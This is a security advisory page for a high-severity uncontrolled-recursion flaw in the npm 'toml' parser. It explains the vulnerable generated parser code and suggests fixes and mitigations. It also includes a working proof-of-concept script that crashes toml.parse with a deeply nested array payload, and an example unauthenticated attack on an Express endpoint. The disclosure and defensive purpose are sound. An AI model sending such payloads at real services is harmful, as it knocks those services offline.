Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-77465 — toml

HIGHFix: BinaryMuse/toml-node@967b8b0

CVE-2026-77465 is a high-severity (CVSS 7.5) CWE-674 vulnerability in toml. A fix is available for toml — see the affected versions and patch details below.

toml-node: Uncontrolled Recursion

Also known asGHSA-82x6-q7mm-w9cf
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-77465.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk
0.11%0.44%0.78%1.11%0.6%0.6%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-77465 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 390,807 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
tomlnpm
28.0Mdownloads / week

Description

Summary

toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.

A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.


Vulnerable Code

The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:

// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
  ...
  s0 = peg$parsearray();          // line 1017  ← value → array
  if (s0 === peg$FAILED) {
    s0 = peg$parseinline_table(); // line 1019  ← value → inline_table
  }
  ...
}

// peg$parsearray() @ line 2879
function peg$parsearray() {
  ...
  s3 = peg$parsevalue();          // line 2931  ← array element → value (back-edge)
  ...
}

// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
  ...
  s5 = peg$parsevalue();          // line 3266  ← inline-table value → value (back-edge)
  ...
}

Recursion cycle for a=[[[ … ]]] (bare nested arrays):

toml.parse(src)
  → peg$parsevalue()        # parser.js:1008
      → peg$parsearray()     # parser.js:1017 / 2879
          → peg$parsevalue() # parser.js:2931  ← back-edge, per nested element
              → …            # depth == input nesting → RangeError, no guard

Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).


Confirmed PoC (toml 4.1.2, Node.js v24.16.0)

Setup:

npm install [email protected]        # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"

Reproduce — save as poc.js, run node poc.js:

const toml = require('toml');
console.log('version:', require('toml/package.json').version);  // 4.1.2

// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length);   // 6003

try {
  toml.parse(payload);
  console.log('no crash');
} catch (e) {
  console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
  console.log('is RangeError?', e instanceof RangeError,          // true
              '| is SyntaxError?', e instanceof SyntaxError);     // false
}

Expected output (vulnerable — actual run):

version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false

Verified crash thresholds (fresh process, single parse, default Node 24 stack):

Payload shapeReliable crash depthPayload size
Bare nested array a=[[ … ]]≥ ~2,500~5 KB (6 KB at depth 3000, used above)
Inline table {arr=[ … ]}≥ ~1,500~12 KB

Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured --stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.


Realistic Attack Scenario

// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));

app.post('/config', (req, res) => {
  try {
    const config = toml.parse(req.body);   // ← RangeError on ~6 KB nested payload
    res.json({ status: 'ok' });
  } catch (e) {
    // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
    // on malformed input. A RangeError has neither, so this guard rethrows it:
    if (e.line != null) return res.status(400).json({ error: e.message });
    throw e;                                // RangeError propagates → uncaught → worker down
  }
});

An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).

The package exports only parse (Object.keys(require('toml')) → ['parse']); there is no toml.SyntaxError. Code written as catch (e) { if (e instanceof toml.SyntaxError) … } is itself broken (instanceof undefined throws), so applications generally cannot cleanly distinguish the DoS RangeError from a normal parse error.


Impact

Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.

RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.


Suggested Fix

Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:

Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:

// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }

// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
        v:(array / inline_table / ...) { depth--; return v; }

Option 2 — entry-point guard in index.js (reject pathological input before parsing):

module.exports.parse = function (input) {
  // cheap structural bound before the recursive parse
  let depth = 0, max = 0;
  for (const ch of input) {
    if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
    else if (ch === ']' || ch === '}') depth--;
  }
  if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
  return realParse(input);
};

Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).


Comparison with Related Vulnerabilities

Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmtomlall versions4.2.0npm install toml@4.2.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for toml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update toml to 4.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-77465 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatLow

The toml npm package is bundled in cockpit-image-builder, but the vulnerable TOML parser is only invoked client-side when an authenticated user manually uploads a blueprint file. The parsing error is caught, limiting impact to a browser-side error notification. Red Hat rates this as Low impact.

Workaround published by Red Hat
No mitigation is required. The vulnerable parser runs only in the user's browser when they actively upload a TOML blueprint file, and the application's error handling catches the resulting exception.
Source: Red Hat security advisory for CVE-2026-77465 (CC BY 4.0)

Frequently Asked Questions

### Summary `toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node's call stack. A small payload — a bare array nested a few thousand levels deep (**~5–6 KB**) — reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly do
O3 Security · Impact-Aware SCA

Is CVE-2026-77465 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-77465: toml DoS — Fixed in 4.2.0